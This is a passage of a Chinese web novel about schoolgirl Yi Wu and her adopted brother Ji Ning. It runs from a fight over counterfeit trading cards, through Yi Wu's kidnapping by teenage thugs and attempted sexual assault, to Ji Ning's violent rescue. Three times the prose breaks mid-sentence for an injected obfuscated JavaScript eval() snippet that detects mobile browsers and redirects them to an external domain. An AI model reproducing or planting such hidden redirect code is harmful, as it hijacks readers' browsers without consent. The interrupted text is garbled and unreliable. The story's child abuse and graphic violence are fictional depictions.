易伍自觉理亏,吞吞吐吐地辩解:“本来,也......也没吵架嘛。”说完,她像小猫伸出爪子,轻轻地,悄摸摸地,勾住了季宁的手指。 两人同时抬头,对望一眼,最后扑哧笑出了声。 * 长大后的易伍回忆起过去,常常觉得,人生中很多事简直没有道理。 就像她永远搞不清,孟旭最初对她的恨意从何而起,也不知道后来,他疯狂的爱意究竟从何而来一样。 孟旭眼见之前围在自己身边的小弟们,现在成天在季宁屁股后面打转,简直气不打一处来。 “你们怎么回事啊?这是丑八怪,阴阳人的哥哥,几张破卡就把你们收买了?居然能跟他玩到一块儿?”孟旭扯着嗓子大喊。 “可他那里的闪卡是最全的啊!大把大把,卖得还比外面便宜好多.....我还差几张就全部集齐了.......等我集齐了再说吧。”男孩D头也不抬,一边翻动着卡册,一边漫不经心地答。 男孩A也跟着附和:“对啊,而且......我觉得他人其实挺好的。最近我妈罚我,把我零花钱全扣了,他居然白送了我一张吕方......” “你们能有点出息吗?他能那么好心,便宜给你们?说不定卖你们的都是假的!”孟旭瞬间炸毛。 “是真的啦!我亲眼看他从袋子里拆了给我的。”男孩C撇了撇嘴,“卖得便宜,是因为他要求我们必须答应一件事。” “什么事?”孟旭皱了眉。 “就是不能再喊易佑弟阴阳人、妖怪什么的。”男孩C耸了耸肩,“不过......说实话,喊久了,我也觉得有点无聊。” “我可没觉得无聊!”孟旭咬牙切齿,“老子就要喊,就要喊!她之前把我们打得那么狠,你们都忘了啊?” “她是打人了,但我们也不对啊,是我们先脱她裤子的。”男孩C说道。 “你们这群胆小鬼,分明就是被......那个词儿怎么说的来着?对,被收买了!”孟旭狠狠瞪着剩下的几人。 实在是太令人生气了!虽然他也很想要全套的卡,但是作为一个有骨气的小学生,他是绝对不会向阴阳人和她哥低头的好么!简直是奇耻大辱! 就算吃糠咽菜,把所有压岁钱全部花掉,高价去别人那里买,他也绝对不要贪丑八怪的小便宜! 终于有一天,孟旭一大早便蹦蹦跳跳地冲进教室。 他高高举起手中崭新的卡册,活像捧着战利品似的,一脸志得意满地环视四周。 “呵呵,你们费那个劲呢!我手上现在是齐的!108张外带闪卡,一张不差!”他晃了晃手上的卡册。 教室里顿时炸了锅,男生们哗啦啦全围上来。 “哇,给我看看!孟旭你太牛了吧!” 吹口哨的、鼓掌的、用书本扇风凑热闹的,全都一窝蜂围着孟旭打转。 孟旭听得更飘了,整个人仿佛踩在云彩上,走起路来都带风。 他迈着六亲不认的大步子,走到季宁桌前,“啪”地一声把卡册摔在季宁桌上。 “这是我的!睁大你的狗眼看看!你的那些假卡,赶快收起来吧,不嫌丢人的。” 季宁却仿佛什么都没听见,安安静静地翻起眼前的卡册。 忽然,他嘴角扬起一个轻淡的弧度。 孟旭的脸顿时垮了:“你笑?笑什么笑?” 易伍从打水间回来,远远看到孟旭拽着季宁,凶神恶煞一副要打人的样子。 她心里一紧,快步冲过去,一把推开孟旭,挡在季宁前面:“你干嘛?!” 自从她意识到自己可能当不了一个坏人,便放弃了将季宁赶出家的念头。 只要他还在易家一天,就永远是她哥。她哥弱小可怜又无助,必须由她来保护!她绝对不会让外人动他一根毫毛的! “你敢推我?!”孟旭像被踩了尾巴的猫,双眼瞪得圆滚滚,火气直冲天灵盖。 “就推了!”易伍冷着脸,手已经握成拳头,往掌心哈着气,“有种冲我来!敢动他一下你试试!” 孟旭看到她的拳头,不由自主地抖了一下:“你搞清楚!是他先笑我的好吗?” 季宁又一次拉住了易伍的袖子,示意她不要动手。他看着孟旭,语气淡淡的:“你这、套,是、假的。” 哦豁,班上聚集围观的吃瓜小群众们倒吸了口凉气。 孟旭气到暴走:“假的?你......你!你居然敢说我的是假的?你知道我花了多少钱才买到的么?你这个骗子!” 男生ACD面面相觑,一时分不清到底谁才是骗子。 易伍好奇地把两套卡片捧起,一张一张翻看。 看了好一会儿,四周空气都安静了,易伍突然爆发出爽朗笑声:“哈哈哈还真是!孟旭,你找谁买的?这也太假了吧。” “你放屁!”孟旭咬牙切齿,“你平时又不玩卡,你懂什么?!” “来来来,大家都过来看。”易伍将卡片从卡册中拿出,平摊开放在桌子上。 班上几个看热闹的小男生立即勾着脖子凑了上来。 “孟旭的这套,颜色很暗,字很细,边边的地方都已经糊了。你们再看这里,这几行字之间的空,每一行都不一样。” 易伍言之凿凿,转而指向季宁的那套说,“再看看我哥的这套就知道了。孟旭的这个花纹分叉。标志也不对——谁家的浣熊尾巴这么短啊?” 围观的男生们细细看了会儿,恍然大悟:“孟旭,你怎么拿假的来蒙我们啊?” 孟旭一开始还不屑一顾,但随着易伍摆出的证据越来越多,他额头上开始冒冷汗了。 最后他自己也对比着看了会儿,发现易伍说的确实是这么回事儿,气得说话都不连贯了:“我......我!你,你们!你们给我等着!臭阴阳人,丑八怪,我记住你们了!” 花空手上所有零花钱换来的一套,居然是假的!越想越气,孟旭猛地抄起自己的那套卡册,用力朝易伍的脸上砸去—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996664|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易伍毫无防备。尖锐的卡夹边缘划过她的眼角,她立即用手捂住,闷哼着蹲下了身。 一切都发生太快,快到让人难以反应。 季宁猛地起身,冲到易伍面前蹲下,着急扒拉开她捂着眼睛的手。 还好没砸中眼球,他松了口气。 可下一秒,那口气又提了上来,因为——易伍的眼角下方,一条极小的伤口正在细细密密地往外渗血珠。 他的呼吸冻住了。 一旁站着的欢欢赶紧从书包里翻出创可贴,小心给易伍贴上。 孟旭见势不妙,转身就想跑,却被季宁一把抓住套头衫的帽子。 他疯狂挣扎,却意外发现季宁力气大得惊人,他完全挣脱不开:“放手!你放手!” “道、歉。”季宁声音不大,压迫感却极强。 “道什么歉?”孟旭被勒住脖子,脸一下子胀红了。 “欺负、我妹,不、可以。”季宁摇了摇头,“道、歉。” 孟旭还硬着头皮不服软,可越挣扎,脖子上就越收越紧,最后他只能大喊:“松......手!” 易伍从来没见过季宁这么执拗的一面,旁边围观的同学吓傻了,有几个冲出门去叫老师。 “放手!季宁你快放手!老师要来了!”易伍把住了他的手臂,可他并没有理会。 孟旭完全喘不上气,几轮之后终于服软,从喉咙里挤出一句:“对......不起。” “对、谁?” “易......佑弟,对,不起。” 季宁这才松了手。 “你们给我等着!”孟旭红着眼猛地咳嗽了几声,转身飞奔出了教室。 * 这日之后,全校都知道了季宁手上的卡保真。 隔壁班的,高年级的,课间都来找他买卡,教室一度变成了临时市集。 易伍收钱收到手软,眼睛眯成了一条线。还要望着风,远远看到老师过来,就赶紧给他们使眼色,人群便做鸟兽状散去。 好像从那时起,她和季宁之间就有了旁人难以企及的,心照不宣的默契。 一起搞钱的默契。 学期还没结束,季宁摇身一变,从丑八怪成了人人追捧的燎原卡王。 同学们对易伍的态度,都连带着客气了不少。 他手上攒的那些花花绿绿的票子,已经多到一个存钱罐装不下。可每当易伍问起,这些钱存起来是为了什么,季宁总是红着脸不发一言。 经过这一次,易伍突然有些明白:比起依赖拳头,做生意似乎具有更持久、更无声却更有效的力量。 孩童之间的战争,就像是成年人微缩世界的投射。其中勾心斗角、拉帮结派、合纵连横的部分,一点也不比成年人弱......只是成年人更会做表面功夫,也更擅长将仇恨和敌意隐藏起来罢了。 她和季宁恢复了刚开始的形影不离。放学后,他俩手牵手到校门口的小卖部。 老爷爷已经等在那儿了,见到他们过来嘴咧得快合不拢。 16. 一堆绑匪 “爷爷,这是、我妹妹。”季宁腼腆地开口。 “知道知道,你俩都俊着呢!”老爷爷咧着嘴说。 季宁兴高采烈地牵起易伍的手,直奔小卖部后面的库房。 “妈、不让,你、就在、这、吃。”他蹲下身,从旧铁皮盒子里地把藏了许久的零食一一拿出来。 漂亮的眼睛晶亮亮的,像是雨天缩在屋檐下的小狗,小心翼翼叼来最好的骨头给人看。 易伍嘴巴大张,双眼放光,哇地一声冲上前去,把零食袋里的全部翻过一遍:“居然还有话梅糖!你怎么知道我最喜欢这个!” 那是孟旭得意洋洋炫耀过的东西。 她兴高采烈地剥开一粒,塞进嘴里,酸酸甜甜化在舌尖。 然后,她将手里的糖纸捋平,举到光底下仔细看:“这个糖纸特别漂亮,亮闪闪的,我要把它们都收起来。” 说着,易伍把剩下的糖一股脑全塞进裤兜里:“这样妈妈就不会发现啦,嘿嘿。” 她小时候曾幻想过的心愿似乎已经实现了——在学校旁边开一间小卖部,一边卖一边吃。 幸福是什么?对易伍来说,就是这唇齿间的一抹甜,是坐在堆满零食的库房里,有人把最好的都留给你。 多年后,她去拜访心理医生。医生让她闭上眼睛,想象一个最舒适放松的环境,一个心灵的避风港——她总会想到这里。 小卖部后堆满零食的库房,空气里有干燥货架的木头味,也有辣条和水果糖的味道。 她和季宁坐在货架底下,腿抵着腿,说着小孩子听不懂的大人话,又说着大人早就忘掉的小孩话。 世界像被封存进了一个温柔的糖罐子里。 每当她撑不下去,心快要碎裂的时候,就会偷偷跑进回忆的糖罐里,舀上一匙。 爱能止痛。 她和季宁,是两个不被命运眷顾的倒霉蛋。但两个倒霉蛋曾共享过的这一小方天地,干净、温暖、安全,是躲进去就能忘掉忧愁的桃花源。 易伍的嘴被好吃的塞得鼓鼓囊囊,像只小仓鼠。她含糊地说:“哥,虽然你不像我这么会打架。但是你靠卖东西,居然交了这么多朋友。你好厉害!” 季宁只是安静地看着她笑。那笑意里没有得意,也没有羞赧,只有一种柔软而坚定的温柔。 易伍吃了一会儿,忽然抬起头,眼神有些复杂:“不过......你怎么从来不问我,为什么他们会叫我阴阳人呢?你真的一点都不好奇吗?” 季宁摇了摇头。 为什么要让受伤的人来回答这些问题呢?况且,她怎么证明自己不是呢? 季宁早早便明白,有些问题本身就是一个陷阱,回答就输了。 “那如果......我是呢?”易伍歪了歪脑袋,“如果我真是他们说的阴阳人,你怎么办?” “你、还是、我妹妹。永远、不会变。” 他笑了,像冬天刚过去时那场久违的暖阳。 易伍心里冰封那块角落,化了。 * 春去秋来,三年级结束的最后一天。 欢欢着急忙慌地跑来找季宁时,他正在小卖铺里帮爷爷点货。 “你妹妹......她她她!”欢欢嘴唇发白,慌乱大喊。 季宁正弯腰往箱子里装零食袋。被这么一喊,他手里的薯片“哗啦”一声掉落地上。 “怎、么了?” “她被人贩子抓走了!”欢欢眼眶通红,“就刚刚。在校门口!快去找你爸妈!” “来不、及!”季宁像触电般猛地摇头,语气发颤。他转身对老爷爷喊:“爷爷,报警!” 不等回应,他已经从货架上胡乱抓了几样东西,转身拉起欢欢的胳膊往外冲:“带我去!” 脚步砸在地上像两只破锣乱响,季宁整颗心都像被火烧着——不是那种剧烈的灼烧,而是油锅刚热起来时不断滋滋冒泡的痛苦,密集、细碎,撕扯着神经。 校门口,夏日阳光暴晒,欢欢的声音却在烈日下打着寒颤: “就在这儿!六个人,他们给易佑弟头上套了袋子,就往那边走……我刚从文具店出来看见了,想跟上去……但有个人回头盯了我一眼……” 她哽咽起来,眼泪啪嗒啪嗒掉。 “你只、知道,他们、往那边走,不知道、他们、到底、去哪儿了?”季宁额角的汗一滴滴往下掉,眼神却一寸寸变冷。 欢欢哭着点头。 季宁闭上眼,深吸了一口气,强迫自己冷静下来。 可就在低头的这瞬——他的目光却猛地定住。 * 最近的新闻头条像是地狱翻页:拐卖儿童、失踪案、拍花子。 老师几乎每天都在提醒:放学立刻回家,不许在校门口磨蹭,哪怕一分钟都不行。 学年最后一天结束,教室里只有稀稀拉拉几个人。易伍为了等季宁,才留在教室写作业。 等天色擦黑,她拐出校门,准备去小卖部,和季宁一起回家。可没等她走出两步,一片浓黑突然从天而降。 没有挣扎的余地,四肢被束缚,呼吸变得断断续续。 她像一块被随意扔进角落的破布,被拖行着、扛着、摔在某个不知名的地面上。 粗糙的水泥地板磨得她后背发烫,耳边却传来刺耳的金属敲击声,还有电焊火花“滋啦滋啦”的声音。 “你们不是人贩子。”易伍用近乎平静的语气说。 “哟,小孩精得跟猴似的。”一个男声响起,语调吊儿郎当,听上去年纪不大。 “因为我是天才少女。” 在场的几人先是一愣,然后哄堂大笑。 可易伍不慌不乱地继续:“如果是人贩子,应该把我往远了带,越远越好。你们扛着我,才走了这么几步就停下.......如果不是想卖我,你们想要什么?” 被人抓走,她不是不怕,她怕得浑身发冷。但她知道,越怕,越不能让对方看出来。 她必须说话,必须撑下去。 谷佳慧一直沉迷港片,易伍也偷偷跟着瞟过几眼。 她问妈妈什么是撕票?谷佳慧皱着眉头说小孩子家家的,不要问这些血腥的问题。 易伍不紧不慢地接着说:“我不骗人。你们绑了我也拿不到钱,因为我爸压根不喜欢我,他只喜欢男孩。绑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996665|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了我撕了票,正好顺了他的意......你们什么都得不到,还要去坐牢。” 短暂的沉默。 “少废话。”一个低沉的声音冷不丁冒出来,语气里带着明显的阴狠。 那人往前一步,突然伸手扯住易伍的裤子边缘。 可他刚一低头,易伍忽然暴起——她张口就朝那人肩膀狠狠咬了下去。 那一口又狠又准,带着拼了命的力道。血的味道瞬间在她嘴里爆开,咸腥刺鼻。 “啊啊啊!”那人疼得狂抽气,胳膊一抖,直接朝她的肚子狠狠砸了一拳,“狗东西,敢咬我?!” 易伍闷哼一声。 这时,一个熟悉而怯懦的声音突然响起:“宋哥,我们不是说,把她绑过来打一顿就算了。你.......你脱她裤子干嘛啊?” 这声音让易伍惊讶得几乎忘了疼,“孟......旭?怎么是你?!” 男生拼命咳嗽:“孟什么旭?我我我不认识!你可别瞎说。” 宋哥冷笑一声,眼里闪着一股油腻腥臭的坏意:“臭小子,不是你说,她是阴阳人吗?我还没见过,想开个眼。都现在这个节骨眼儿了,你装什么好人?” 说完,他扑上前,死死摁住易伍的肩膀,另一只手朝她裤子狠狠一扯—— 布料被撕裂的声音刺破空气。 宋哥站在一旁,笑得像条发情的狗:“嚯,还真不是阴阳人……这是个正儿八经的姑娘啊!” 他眼神像一把刀,在易伍脸上刮来刮去:“长得蛮可爱的,怎么留个短发?真是浪费。” 易伍大口喘气,把自己脑子里所有能用的词句都翻了出来。 “你们听好了!”她大声喊道,“我是幼女!这是重罪,最少判十年!” 她努力让自己看起来更镇定:“你们要钱?可以找我妈。她会带钱来!不报警,她答应你们什么都行!” “宋哥……算了吧?”孟旭的声音已经带了哭腔,“我……我把钱给你……你也打了她了……今天就到这儿?真出了事,咱们谁都跑不掉啊……” 宋哥不耐烦地一把将他推开,狠声道:“一开始是谁哭着喊着求我们出手的?现在害怕了?” 他舔了舔干裂的嘴唇,眼中掠过一丝阴冷的光:“老子现在有点兴致,想玩儿点别的......臭丫头当初说我卖假卡,断了我财路,老子今天非要给她个教训!而且,我马上要对她做的事,就算放她回去,她也不敢跟任何人提起一个字……” 孟旭心下咯噔一声。事态发展显然已经超出他一个小学生的认知了。 空气中响起皮带扯落的声音。 易伍却忽然轻笑出声。 “教训我?”她说话像子弹一样快,“你确定你真能教训到我?警察马上就到,你最好现在就想好往哪里跑比较快!” 宋哥冷哼一声,声音里满是嘲弄:“警察?你真当自己演电影啊?谁来救你?超人吗?” 可话音刚落,他的一个手下突然瞪大了眼举起手,指向他的额头。 “大哥,你......你这额头上面,怎么,怎么有个红点?它......它它还在动啊!” 17. 一个小耳朵 “红点?哈哈哈。”易伍笑得更厉害了,肩膀一耸一耸的。 宋哥甚至怀疑,如果她没被绑住手脚,应该会原地跳起,拍手叫好。 “你被警察的枪瞄准了,这都不懂?没看过电视剧啊?” 说完,易伍语调一转,“别乱动,赶快把手举起来!” 宋哥真的被唬住了,眼神从凶狠转为迟疑,动作也像被冰冻住,停在半空,不敢轻举妄动。 然后——他慢慢将双手举过头顶。 “狗东西,你是不是在骗我!”他扭头厉声对小弟喊,“你们赶快看看,是警察来了吗?怎么一点声音都没有?还有这红点,到底他妈哪冒出来的?” 他手下还没来得及行动,空气里却骤然响起“啪”的一声! 子弹出膛——不是刺耳的金属爆鸣,而是短促轻脆的一响,像是竹筷敲在瓷碗边沿。 下一秒,一颗黄澄澄的“子弹”准确无误地砸在了宋哥的额头。 他全身僵住,一动不动地杵在原地。几秒后,一股湿热的液体顺着他的裤腿悄无声息地淌下。 “滴答、滴答”,砸在水泥地面,蔓延成一滩浅黄色的痕迹——他竟然吓尿了。 “老大你没事吧?”小弟们着急忙慌地上前搀住他,“刚打你的是什么东西啊??!” 一个小弟捡起了地上掉落的“子弹”—— 原来是一颗圆润的黄色塑料弹珠! “艹!”这人将“子弹”扔到一边,“耍我们呢?是谁在装神弄鬼!快给我滚出......!” 可话音还没落,“嗖”地又一颗弹珠飞来,这回打得更准,结结实实砸在他睁大的眼皮上。 “艹艹艹——!!!” 众人这才反应过来,纷纷抬头望去—— 废弃工厂二楼的铁栏边,一个身影站在暗影与灯光交界的边缘,脸被昏黄的灯光映得半明半暗,像被撕裂的面具,一半活人一半鬼影。 他手里端着一把黑黢黢的“枪”,激光瞄准器上的红点依旧在晃悠悠地扫视。 一片死寂。 在场的人先是一愣。等反应过来,哄笑声一片,捂着肚子恨不得在地上打滚。 “我他妈还以为是谁?搞了半天又是一小毛孩儿哈哈哈!” “端着个玩具枪跟人玩战术清扫呢,笑死我了。” “毛都没长齐,还想英雄救美?哎哟我的妈,怎么这么好笑,笑得老子肚子都疼了。” 所有人都在笑,除了在角落抱头下蹲的孟旭。 他半张着嘴,难以置信地望向枪手的脸:“丑......八怪?” 可下一秒,这群地痞流氓就笑不出来了。 季宁依旧举着枪,激光点位像红色的利爪,从他们的脸上一一点过。 “砰——!”他扣下扳机,玩具枪再次发射出一颗颗塑料实心弹—— “啊!!!” “卧槽打我脖子!” “眼睛眼睛,操你妈——!” 几个地痞抱着头就地打滚。 他们这才意识到,这可不是普通的玩具枪。后来,这种型号的枪被全面禁止,原因之一就是——杀伤力过于强大。 几个小弟们捂着痛处,惊叫着冲向二楼:“你还打!我看你子弹能有多少——” 果然,片刻之后,咔哒一声,枪膛空了。 这些人露出残忍的笑。 “啧,我说吧,这就完了?” “呵呵,小屁孩现在准备怎么办?一个人单挑我们六个?” 他们大步逼近,准备踏上楼梯。 可就在他们即将冲上二楼之际,季宁突然一记撑手,灵巧地翻过扶手,从楼梯口侧面一跃而下。 这些人见他自投罗网,咧着嘴组成人墙,步步逼近。 可季宁并没有放下手中的枪,更没打算束手就擒——子弹没了,但激光瞄准器还在。 他左手端好枪,从这些地痞们的眼睛上一个接一个地点过。 几人被激光晃得睁不开眼,下意识抬手去挡。 趁着他们揉眼睛的当口,季宁从裤子口袋里掏出了第二件武器—— “跳......跳绳?”孟旭远远看着,内心被疑惑占满了,“丑八怪难不成要在他们面前比谁跳得多??” 可话音未落,季宁已经挥臂出击—— 他的右臂青筋暴起,肌肉紧绷如弓弦,那条本应出现在操场上的绳子,在他手中变成了一道凶猛的鞭影。 “啪——!”一声脆响,绳子直奔宋哥的下面抽去。 宋哥正用手捂脸,试图挡住激光,一时顾头不顾腚。一声撕心裂肺的惨叫响起—— “啊!!!!” 他像被电击中要害,整个人脱力般倒地,双手捂裆,抽搐着身体,像条在水泥地上翻腾的鱼。 “跳绳??你居然敢用跳绳打我们老大的老二?!”他身边一个小弟怒吼着冲了上来。 可季宁眼神冰冷,像结了一层霜。 他一字一句地说:“这叫、少林、九节鞭。无常、鞭法。你——是——下一个。” 话音刚落,绳子再度挥出,如同蛟龙出海,横扫而来——那人连反应的时间都没有,就被狠狠抽中裆下,立马倒地。 季宁站在原地,双脚不移,面无表情,像一尊刻在风中的少年战神。他的眼神一寸寸扫过剩下四人,冷冷宣布: “下、一、个。” 他那不连贯而奇特的发音,此刻却有了诡异的压迫感,听起来格外......瘆人。 剩下四人额头滴汗,面面相觑:这真是小孩吗?出手这么狠,身上居然真有功夫!围住,我们把他围住! 他们想了个聪明的办法,两人在前两人在后,占据四个方位,然后开始无规律地走步,再随机出手。 季宁本来就耳朵不好,这下更容易被不同方位的假动作晃点。 孟旭在角落里冷汗直冒,双手死死抓着自己小臂,想喊却不敢喊。忽然—— “哥!左后!!” 一道尖亮的声音猛地炸响。 是易伍! “右后!中上!斜前方!” 她大声地喊着,像一个报靶教练——易伍成了季宁的“耳朵”。 季宁依循着易伍的指令,出手如电。 普普通通的一段绳子,变成了一条盘绕在手臂上的灵蛇,能听懂指令,能精准出击——劈、抖、扫、挑,每一下都带着风声和杀气。 空气都被舞动得噼啪作响。目标一个接一个,狼狈不堪地倒下。 最后只剩一人,喘着粗气,左右看了会儿自己同伙,难以置信地瞪圆了眼。 一直躲在角落,大气都不敢出的孟旭,眼见季宁占了上风,立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996666|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即奔到易伍身边,慌忙解开她的眼罩和绳结,拉着她就要往外跑。 “我不走!”易伍甩开了孟旭的手,“我哥还在!” “你傻吧!”孟旭着急地跺脚,“跑出去好叫人!” 他们正拉扯间,孟旭的脚腕突然被爬过来的宋哥一把扯住:“好小子,搞了半天你和他们是一伙的?老子为了谁弄成这样,你还想跑?” 孟旭吓得直打哆嗦,拼命蹬腿却怎么也挣不开,眼看着就要被宋哥一把拽翻在地—— 他哇地一声哭了出来! 可就在这时,宋哥脸上的狰狞忽然一滞,双眼骤然失焦,嘴角抽搐了一下,整个人直挺挺地倒了下去。 几秒后,一道鲜红的血流自他额头缓缓淌出,分成几股蜿蜒的细流,滴答滴答地滴在水泥地上,像是初春绽开的点点红梅。 孟旭彻底呆住了。 直到宋哥的手肘与脑袋一同垂落,他才颤颤巍巍地回过神来——易伍不知何时绕到了宋哥身后,双手还紧握着一根弯弯曲曲、沾满血迹的钢筋。 “拿好!”她一脚跨过地上的宋哥,把钢筋塞到孟旭手上。 “啊……好……好重!”孟旭手忙脚乱地接住,手臂一抖差点扔出去,“这上面……有血!啊啊啊!” 易伍嫌弃地白了他一眼,随手又捞起一根短粗的钢筋,毫不犹豫朝季宁那边走去。 那唯一还站着的地痞,此刻正蜷缩在角落,眼睛紧盯着季宁手中的绳子。 他人高马大,此刻却像被冻住了一样。 相比之下,季宁那单薄的身体,宛如一根随时会断的柳条。但那狠辣的气息,却像锐利的刀锋,让人望而生畏。 易伍手握钢筋绕到季宁身后,两人背靠背站定。 “哥。”她轻唤一声。 “你、别动。”季宁叮嘱。 “后背给我。”易伍对着他的耳朵说。 孟旭在远处看得目瞪口呆,恍然觉得这俩人就像漫画里的“黑风双煞”——明明都只是小孩,却生出一种让人汗毛倒竖的气势,仿佛黑夜里游走的阴灵。 而那一地哭爹喊娘的地痞,反倒像是一群被吓破胆的鹌鹑。 “艹!今天怎么没带刀?” “对付小学生,谁能想到带刀?” “这不是一般的小学生啊,这他妈是什么妖怪啊。” “你还能动,去,把那丫头弄过来再说!” 被点名的家伙腿一软,捂着下身颤巍巍往易伍冲来。他牙一咬,鼓起勇气扑上去。 “呀!”易伍一声暴喝,钢筋高高举起,像是雷神之锤悬在半空,力道蓄势待发。但还没等她挥下,一道绳影如鬼魅般突袭——啪! 那人脑门被抽出一道鲜红的印子,疼得骂骂咧咧:“你个狗日的小瘪三!想英雄救美?晚了!这丫头早就被我们扒了裤子,看光了!呵呵,我看她以后怎么见人——” 话音未落,季宁抬头,一双眸子仿佛瞬间被火点燃,整张脸被灼得血红。 他像离弦的箭冲到那人面前,一个勾脚将他绊翻在地,身体猛地压上去,毫不留情地骑坐在他身上。 然后——拳头砸下去了。 一拳、两拳、三拳……每一下都沉得像铁砸鼓面,带着滞重的咚咚声。 那张满嘴污言秽语的脸,像被狂风暴雨抽打的破布,迅速肿起,血肉模糊。 18. 一张糖纸 《杀手莱昂》里,抹掉鼻血的玛蒂尔达仰起头来问莱昂:“人生总是这么艰难吗,还是只有当你是个小孩的时候才这样?” 莱昂面无表情地回答:“一向如此。” 多年后看完这部电影,易伍发现,美得如同天神下凡的娜塔丽波特曼,在电影里饰演的女主角也叫玛蒂尔达,和她童年时喜欢的书是一个名字。 这是个富有韧性、充满魅力、具有反叛精神的名字。 玛蒂尔达十二岁跟随莱昂学习杀人,易伍也是。 只不过她选择杀死的第一个人,是她自己。杀死了易佑弟,才有了后来易伍的横空出世。 而此时此刻,破败仓库里光影斑驳,铁锈味混着干涸血迹。自出生起便习惯了单打独斗的易伍一动不动地看着眼前的季宁。 他挥起稚嫩的拳头,一下下砸向身下的人。 易伍怔住了,有水汽在眼眶漫溢。 这是个神奇的时刻,一个她从未设想过的时刻——天神从天而降,值得人热泪盈眶。 救她的神,不高大、不健壮、有点聋有点哑,还经常被人叫作丑八怪。 可这个丑八怪是她的哥哥,不知道哪里捡来的便宜哥哥,她曾绞尽脑汁思考过如何把他赶出家门的哥哥。 那么小的一个人,靠着一杆玩具枪和一根跳绳,就敢横冲直撞,一个人干翻了六个地痞流氓。 易伍疑惑地想,季宁到底是个什么样的人呢? 最初印象来自于第一次见他。 男孩板板正正站在门口,头垂得几乎要埋进胸口,单薄的身板在宽大的海青下晃晃荡荡。 被唤到名字的时候,他不过是迟疑地瞟了她一眼,旋即便再次低下了头。 再后来,是他被班上的坏男生们围攻。这次他终于抬起头了,但也只是立在中央,一动不动,像个稻草人。 从那时起,易伍便认定了,这便宜哥哥傻不拉几,没有任何自保能力。 可是,从什么时候开始,这个连自己都保护不了的傻子却开始保护她了呢? 他不经常笑,可笑起来的时候,嘴角的梨涡像是荡开了一层绵密的糖霜。 他妥帖顺从、低眉顺目,易国昌终于不再发狂,家里也有了久违的安生日子; 他卖英雄卡,把各个年级的学生打理得服服帖帖,尽管谁也不知道他要这么多钱做什么。但总归,顶着季宁妹妹的头衔,学校里没人敢再欺负她; 在小卖部,他小心翼翼把珍藏的一大包零食拿出来,献媚般讨好,和小狗一样用水汪汪的眼睛看着她,让她常年被封印的味蕾得以品尝时下最新潮的零嘴...... 可现在,眼前的季宁,完全像换了一个人。 周身是浓烈的危险气息,像一头爆发的小狮子,牙齿尖利,爪子带血。 易伍从未想过,哥哥居然会有这样一面。 如果他真这么能打,像那些人说的,身上带着功夫,当初被人欺负的时候,怎么不干净利落地挥起拳头呢? 为什么非要嘴硬,说自己是个什么和平爱好者? 还在想着,思绪突然被一声痛苦的惨叫打断。 被季宁压在身下的人开始告饶:“放,放我起来!别打了!我,我错了!” 那人的鼻梁已经被撞歪,鼻腔里涌出的鲜血如注。 可季宁充耳不闻,握紧的拳头疯狂砸向那人:“放了、你?让你、出去、乱说?” 打到最后,他的拳头因为划到那人牙齿,而同样鲜血淋漓。 “哥!”殷红的血像刀片一样刺到易伍眼里,她冲上前去要拉住季宁,可季宁眼里分明已经着了燎原的火。 “转、过去,别、看!” 他挣开她的手臂,继续挥拳。一下下,不带喘息,像打铁匠般兢兢业业。 直至一声长鸣撕裂空气,警车由远及近。 几名警察一冲进来就直接愣住—— 仓库里,传说中的地痞流氓像见了救星般,从地上蛄蛹着爬过来,紧紧抓住警察的裤腿不让走。 他们不过是附近职高的混混,也没多大,一个个吓得面如土色。 警察们瞪大了眼,往中间望去——季宁仍在冷静地挥拳,连头都没抬。 几人连忙冲上去把他拉开。 其中一个警员看着季宁细瘦的胳膊、稚嫩的脸庞,再看看地上血肉模糊的混混,迟疑地问:“这是……你打的?不能吧?这到底,谁打谁啊?” * 脸色铁青的中年男人朝孟旭走来。 孟旭深知自己惹了弥天大祸,战战兢兢地缩着脖子。 可男人的耳光已经毫不留情地刮了过来。 “你妈看你没回家,去学校调监控,才知道你组织了人打群架!真出息啊孟旭!” “爸......”孟旭刚张嘴,男人已经一脚踢到他的膝盖弯,让他四肢伏地以狗啃泥的姿势趴下。 “这混账听您处置了,要不就地打死,您说了算。”孟旭爸气得脸都青了。 “孟总,您说哪儿的话!”易国昌赶忙上前将孟旭扶起,慈爱地拍掉他身上刚沾的灰尘,“小孩子,有点冲突也正常,咱别伤了和气……” “这是冲突?”一边的易伍突然开口,声音仿佛结了一层霜,“是他,带人,绑架我。” 说这话时,她一直屈着身体,被宋哥重击过的下腹还在隐隐作痛。 刚刚,她的父亲明明站在她身边,眼神却一刻也没离开过孟旭他爸。从头到尾,他连一句安慰都没有,却第一时间跑去给孟旭这个罪魁祸首掸灰尘,满脸慈父的样子。 她从未见过的样子。 太恶心了。 